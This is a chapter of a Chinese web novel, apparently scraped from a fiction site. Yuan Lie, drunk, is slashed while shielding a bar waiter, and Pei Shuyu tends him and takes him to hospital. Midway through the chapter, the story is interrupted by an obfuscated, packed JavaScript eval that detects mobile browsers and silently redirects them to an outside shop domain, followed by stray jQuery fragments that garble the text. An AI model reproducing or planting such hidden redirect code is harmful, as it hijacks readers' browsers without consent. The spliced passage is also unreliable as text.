文趣网 > 其他小说 > 烈火灼山 > 12. 谁胆子这么大
    “不要。”袁烈面色冷峻,举杯又闷了一口酒。

    张荃无言以对。

    烈酒后劲大,袁烈喝的又猛,很快就喝醉了。

    袁烈喝醉很规矩,倒头就睡。

    张荃也不是第一次同他喝酒,了解他沉闷的性子,将他扶进自己的休息室。

    袁烈脸颊发红,躺倒在床上,皱着眉头踹着粗气,嘴里无意识的叫了几声“书屿哥”。

    张荃听见了,无比震惊道:“嚯,你小子,眼光还挺高啊。”没想到袁烈对那个贵少爷藏的是这种心思,怪不得呢!

    张荃震惊过后又恨铁不成钢的叹了口气:“真白瞎了这张脸,喜欢谁不好非去喜欢他?这不是没事偏要找罪受嘛!”

    说罢摇摇头,帮袁烈盖上被子关门出去了。

    几个小时后,夜幕降临,袁烈被兜里的手机吵醒。

    他摸索着接听,手机那头传来裴书屿温润的声音:“袁烈,你在哪儿?”

    袁烈瞬间清醒,猛的坐起身,下一秒忍不住倒吸了口气。

    脑袋像被什么东西撕扯一样,一抽一抽的发疼,头晕目眩,除了难受还是难受。

    “喂?袁烈?听得见吗?”裴书屿听不见他回答,又喊了他一声。

    袁烈清了清嗓子,声音低沉沙哑:“我听得见。”

    裴书屿听出他声音的异样,怔了怔,重新问:“你在哪儿?”

    袁烈环顾四周,欢快的音乐隔着门传进来,反应过来这是哪里,回道:“我现在还在外面。”

    “什么时候回来?”裴书屿试探着问:“你,现在一个人吗?”

    袁烈闭眼揉着太阳穴:“嗯,我现在在朋友这里。”

    “哪个朋友?”

    “张荃,我大学的散打老师,你见过。”

    有次袁烈练完散打裴书屿亲自过来接他去聚餐,见过张荃一次。

    裴书屿有些印象,了然道:“我现在在公寓。”下午他跟楚容分开后就回来了。

    袁烈看了眼手机上的时间,已经晚上七点半,便问:“吃晚饭了吗?”

    裴书屿说没有。

    袁烈掀开被子下床:“那你等我半个小时,我马上回来。”

    裴书屿在电话里笑了声:“好,那你路上慢点,我等你回来。”

    “嗯,等会儿见。”

    挂断电话,袁烈甩了甩头,走出休息室。

    这个点酒吧正是热闹的时候,张荃的休息室在包厢的最里面,袁烈顺着走廊出来,忽然看见酒吧中央围了几个人。

    地上趴着一个年轻男孩,男孩身上穿着酒吧服务生的着装,表情惊恐。

    震耳欲聋的音乐被人关了,一个穿着花衬衫,年龄二十多岁的男人正对着地上的男孩破口大骂。

    男孩从地上爬起来,低着头战战兢兢的模样。

    袁烈环顾四周没看到张荃的身影,招来其中一个服务生问:“怎么回事?”

    服务生说:“刚才小洛不小心撞到了那位顾客,酒洒在他的裤子和鞋子上,那顾客不乐意,小洛给他道歉也没用,非要小洛把鞋子给他舔干净,小洛蹲下给他擦鞋,他还把小洛踹倒了,摆明喝了点酒心情不好找人撒气的。”

    袁烈敛眉问:“你们老板呢?”

    “老板刚才出去了,也不知道去哪里了,打电话手机关机,我们也不知道怎么办。”

    那个叫小洛的服务生还在垂着脑袋道歉,找事的男人脚步颠簸,看了小洛两眼,忽然又笑嘻嘻的一把搂住小洛的肩膀。

    “你,你想干什么?”小洛害怕的瑟瑟发抖,两只大大的眼睛噙着泪。

    张荃不在,剩下几个服务生没人敢管,袁烈作为张荃的朋友,却不能不管。

    他走上前,一把将小洛从男人的怀里拽了出来。

    男人怀里一空,见小洛躲在袁烈身后,瞪着袁烈叫器:“你他妈谁啊?”

    袁烈没回答他的问题,而是说:“弄脏你衣服鞋子要么出清洗费要么原价赔偿,不用故意为难人吧?”

    “跟你有毛关系?这服务生毛手毛脚的,扫了我兴致,我就是不爽,怎么着?”男人眼神混沌,指着袁烈威胁:“我劝你滚远点,别没事找事啊!”

    说完面露阴狠,指着小洛吼道:“你给我滚过来!让你给我舔干净就快点舔!”

    袁烈回头对小洛道:“你先去休息室。”

    “好……”小洛感激的看了眼袁烈,转身跑去了后台。

    男人见状,彻底火了,想上前去抓小洛,袁烈伸出胳膊推了他一下,男人不知从哪突然掏出了一把小刀,朝袁烈一挥,袁烈不妨,裸露的手臂被划了道口子,鲜血顿时涌出来,袁烈见状,目光一狠,一脚将男人踹倒在地。

    这一脚踹中了男人的肚子,男人趴在地上一边吐一边痛苦呻吟。

    袁烈看了下自己的伤口,不算太深,他抽了两张纸压住伤口,正准备让服务生报警,张荃回来了。

    “怎么回事?”张荃从门口急步走来,旁边的服务生赶紧把事情经过说了一遍。

    张荃听完,嫌恶的看了眼地上的男人,没去管他,而是问袁烈:“伤口深不深?走,我送你去医院处理一下。”

    袁烈按着胳膊说:“没事,我随便找家药店包扎一下就行,剩下的你处理吧,我还有事,先走了。”

    “哎,你……”

    不等张荃开口拦,袁烈迈着长腿出了酒店。

    血染红了纸巾,他酒还没彻底醒,只好掏出手机叫了个代驾。

    代驾来了后,袁烈先找了个诊所包扎伤口,紧接着往公寓赶。

    客厅灯光明亮,裴书屿正抱着平板窝在沙发上,嘴里正啃着苹果,听见门响,抬头看到袁烈,咽下口中的苹果,可怜兮兮道:“袁烈,你终于回来了,我快饿死了。”

    本来说半个小时,他已经等了一个小时。

    “抱歉,路上堵车,”袁烈身上有酒味,不想裴书屿闻见,就站在玄关处说:“苹果别吃了,晚上吃苹果不好消化,我不是跟你说过?”

    “哦,我忘了。”裴书屿把还有一半的苹果扔进了垃圾桶。

    袁烈问:“你想吃什么?”

    裴书屿想了想,饿的什么都想吃,揉着肚子可怜兮兮的说:“什么都行,你看着做吧,越快越好。”

    “好,很快就好。”袁烈转身去了厨房。

    十几分钟后,一碗热腾腾的青菜鸡蛋面被端到餐桌。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938087|213767||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “这么快?”裴书屿兴冲冲的跑过来,正想夸两句,却忽然瞥见袁烈的一边胳膊上有一片鲜红的污渍,好像是血迹。

    裴书屿顿时脸色一变,一把抓住袁烈的胳膊问:“你手臂怎么回事?这是血吧?”

    袁烈还没说话,裴书屿直接强势的脱下他的外套,立刻看到被血染红的纱布。

    裴书屿第一次见袁烈受伤流血,表情严肃:“这是怎么回事?胳膊怎么会受伤?”

    袁烈包扎伤口时,医生建议他缝针,不过他着急回来,就先让医生简单包扎了下,刚才忙着做饭,没注意应该是伤口裂开了。

    袁烈解释:“有人在酒吧闹事,不小心被弄伤的,没事。”

    裴书屿目光变得锐利:“是谁胆子这么大?人处理了没有?”

    “荃哥应该处理了。”

    裴书屿表情严峻,快速翻出医药箱找到干净的纱布帮袁烈压在伤口处:“走,我带你去医院。”

    袁烈说:“没事,我压一会就行,你先吃饭。”

    裴书屿哪还吃得下饭,他态度强硬:“饭等会再吃,你这伤口得缝针,我们先去医院看伤口。”

    袁烈说了个折中的办法:“你吃饭,我自己去医院。”

    “不行。”裴书屿想也没想的拒绝,强硬的拉着袁烈拿起车钥匙出门。

    进入电梯,两人挨得近,裴书屿闻到袁烈身上的酒味,还夹杂着一股淡淡的烟草味,不过他知道袁烈不抽烟,应该是在酒吧染上的。

    他没多问,带着袁烈来到最近的一家高级私立医院。

    一个多小时后,伤口被医生重新处理好,一共缝了十几针,裴书屿心疼不已。

    他们从医院出来后,袁烈惦记裴书屿还没吃晚餐,提议说先去吃饭。

    裴书屿刚才一直担心袁烈的伤口,早就把吃饭抛到了脑后,这会儿才又觉得饿了。

    袁烈的手臂最近都不能用力,裴书屿不让他碰车,继续揽下司机的活。

    两人来到附近一家高档西餐厅,吃过饭回到公寓已经晚上十一点多。

    裴书屿明天要上班,周一还是最忙碌的一天,袁烈让他赶紧洗漱睡觉。

    裴书屿虽然很困,听见洗漱二字想到什么,立马问:“对了,你受伤怎么洗澡?医生交代了伤口不能碰水。”

    袁烈思索了下,说:“我等会儿找东西包一下就行。”

    裴书屿问:“用什么包?”

    袁烈想了想:“保鲜膜?”

    裴书屿认可的点点头,说:“你一个人不好弄,我帮你包。”

    袁烈知道拒绝没用,只好依他。

    在袁烈的指挥下,裴书屿跑进厨房,把柜子里的一卷保鲜膜拿出来,又找出一把剪刀。

    两人往沙发上一坐,裴书屿有些笨拙的把保鲜膜拉出来,剪下一段,小心翼翼的缠在袁烈伤口处。

    两人挨的近,裴书屿又闻到了酒味,随口问:“你下午去喝酒了?”

    袁烈“嗯”了声。

    裴书屿边忙活边看了袁烈一眼,袁烈正垂眸看着自己的手臂,没什么表情。

    裴书屿犹豫了下,还是问了他记挂一下午的事:“你和那个女孩,你们中午是在……”